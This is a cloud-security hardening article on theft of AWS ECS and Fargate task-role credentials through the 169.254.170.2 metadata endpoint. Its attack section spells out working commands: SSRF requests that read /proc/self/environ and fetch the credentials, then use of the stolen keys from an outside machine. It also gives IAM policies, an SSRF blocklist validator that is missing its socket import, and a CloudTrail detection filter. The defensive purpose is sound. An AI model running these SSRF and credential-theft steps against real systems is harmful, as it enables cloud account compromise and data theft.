Cloud Security Wire
AWS Azure GCP RSS
AWS Hardening Guide high

AWS ECS and Fargate Task Role Credential Theft: The Container Equivalent of IMDS Abuse

AWS ECS tasks expose temporary IAM credentials through a metadata endpoint accessible at 169.254.170.2 — a less-documented but equally dangerous analogue to EC2 IMDS abuse. This guide covers the attack path, SSRF exploitation scenarios, and hardening controls.

By Cloud Security Wire · ·
#ECS#Fargate#task-role#credential-theft#SSRF#container-security#IAM#AWS#metadata-service
High Severity

This issue has been assessed as high severity. Review affected configurations immediately.

Most cloud security practitioners have internalized the EC2 Instance Metadata Service (IMDS) attack pattern: SSRF vulnerability in an EC2-hosted application → request to 169.254.169.254 → fetch instance role credentials → pivot to cloud resources. IMDSv2’s session-oriented token requirement has blunted this attack path for EC2, but the equivalent attack against ECS-hosted containers receives far less attention.

ECS tasks — whether running on Fargate or EC2-backed clusters — expose their task role credentials through a container metadata endpoint at 169.254.170.2. The path is dynamic and carried in an environment variable, making it less guessable than IMDS, but any SSRF vulnerability that can reach link-local addresses can be exploited to steal credentials in the same way.

The Container Credentials Endpoint

Every ECS task container has the environment variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI set automatically. Its value is a unique path like /v2/credentials/9a4f3b21-d7e5-4c8a-b1f2-3d5e7a9c1b4f. The credentials are available at:

http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}

From inside the container, fetching this is straightforward:

curl -s "http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}"

The response is a JSON document containing temporary IAM credentials:

{
  "RoleArn": "arn:aws:iam::123456789012:role/my-ecs-task-role",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "wJal...",
  "Token": "IQoJb3JpZ2...",
  "Expiration": "2026-05-31T14:23:00Z"
}

These are real, valid temporary credentials for the ECS task’s IAM role — with the same permissions as the task role policy attached to the task definition.

Attack Scenario: SSRF to Container Credential Theft

Consider an ECS-hosted web service with an endpoint that fetches external resources based on user-supplied URLs:

# Vulnerable pattern — user-controlled URL fetched server-side
@app.route('/fetch')
def fetch_content():
    url = request.args.get('url')
    response = requests.get(url, timeout=5)  # SSRF
    return response.text

An attacker can exploit this to reach the container metadata endpoint:

# Step 1: Get the credentials path
# The AWS_CONTAINER_CREDENTIALS_RELATIVE_URI value must be known or brute-forced
# In Fargate, the path segment is a UUID — not easily guessable

# However: if the attacker first reads environment variables from /proc/self/environ
# (possible via path traversal or LFI), they can obtain the path
curl "https://vulnerable-app.com/fetch?url=file:///proc/self/environ"
# Returns: ...AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/9a4f3b21...

# Step 2: Use the path to fetch credentials
curl "https://vulnerable-app.com/fetch?url=http://169.254.170.2/v2/credentials/9a4f3b21-d7e5-4c8a-b1f2-3d5e7a9c1b4f"
# Returns the JSON credentials blob

With the stolen AccessKeyId, SecretAccessKey, and Token, the attacker configures the AWS CLI on their own machine and assumes the task role’s identity:

export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="wJal..."
export AWS_SESSION_TOKEN="IQoJb3JpZ2..."

# Now operating as the ECS task role from an external machine
aws sts get-caller-identity
aws s3 ls  # If the task role has S3 access
aws secretsmanager list-secrets  # If the role has Secrets Manager access

The credentials are scoped to the task role’s permissions. If that role has broad access — a common problem in organizations that give tasks “enough permissions to work” rather than minimal permissions — the blast radius can be significant.

Key Differences from EC2 IMDS

No IMDSv2 equivalent: Unlike EC2’s IMDS, which supports enforcing session-oriented IMDSv2 requiring a PUT request to obtain a token before credential retrieval, the ECS container credentials endpoint has no equivalent hardening mechanism. The endpoint is plain HTTP with no additional authentication.

The path is a UUID, not guessable: The AWS_CONTAINER_CREDENTIALS_RELATIVE_URI path contains a UUID that changes per task instantiation. An attacker who can only reach 169.254.170.2 without knowing the path cannot brute-force it. However, combined with LFI or environment variable exposure, this protection evaporates.

Fargate vs EC2-backed: On Fargate, the host metadata endpoint (169.254.169.254) is blocked by AWS networking — containers cannot access EC2 IMDS even if they try. On EC2-backed ECS clusters, both the container credentials endpoint and the EC2 IMDS may be accessible, depending on IMDSv2 enforcement.

Hardening: Least-Privilege Task Roles

The most impactful control is restricting what the task role can do. Task roles should only have permissions required for the specific workload:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AppSpecificOnly",
      "Effect": "Allow",
      "Action": [
        "s3:GetObject",
        "s3:PutObject"
      ],
      "Resource": "arn:aws:s3:::my-app-bucket/app-data/*"
    },
    {
      "Sid": "DenyCredentialExfiltration",
      "Effect": "Deny",
      "Action": [
        "iam:CreateAccessKey",
        "iam:CreateUser",
        "sts:AssumeRole"
      ],
      "Resource": "*"
    }
  ]
}

Additionally, add a resource-based condition to the trust policy to restrict where the role can be assumed from:

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"Service": "ecs-tasks.amazonaws.com"},
    "Action": "sts:AssumeRole",
    "Condition": {
      "ArnLike": {
        "aws:SourceArn": "arn:aws:ecs:eu-west-1:123456789012:*"
      },
      "StringEquals": {
        "aws:SourceAccount": "123456789012"
      }
    }
  }]
}

Blocking SSRF at the Application Level

Prevent SSRF from reaching internal link-local addresses by validating URLs before making server-side requests:

import ipaddress
from urllib.parse import urlparse

BLOCKED_RANGES = [
    ipaddress.ip_network("169.254.0.0/16"),  # Link-local (IMDS, container metadata)
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("127.0.0.0/8"),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        # Block non-http/https schemes
        if parsed.scheme not in ("http", "https"):
            return False
        host = parsed.hostname
        resolved = ipaddress.ip_address(socket.gethostbyname(host))
        for blocked in BLOCKED_RANGES:
            if resolved in blocked:
                return False
        return True
    except Exception:
        return False

Note: DNS rebinding attacks can bypass hostname-based SSRF filters. For high-risk fetch operations, resolve the hostname to an IP first, validate the IP, then make the request using the IP directly with the Host header set appropriately.

Detection: CloudTrail Signals for Credential Theft

If ECS task credentials are used from outside the expected network range (VPC, Fargate infrastructure), CloudTrail will log API calls with the task role ARN from an external IP. Alert on:

aws logs filter-log-events \
  --log-group-name "aws-cloudtrail-logs" \
  --filter-pattern '{ ($.userIdentity.type = "AssumedRole") && 
    ($.userIdentity.sessionContext.sessionIssuer.arn = "arn:aws:iam::*:role/*ecs*") && 
    ($.sourceIPAddress != "AWS Internal") }'

In Sentinel or your SIEM, correlate this with the VPC CIDR ranges used by your ECS clusters — any task role API call from an IP outside those ranges warrants immediate investigation.

← All Analysis Subscribe via RSS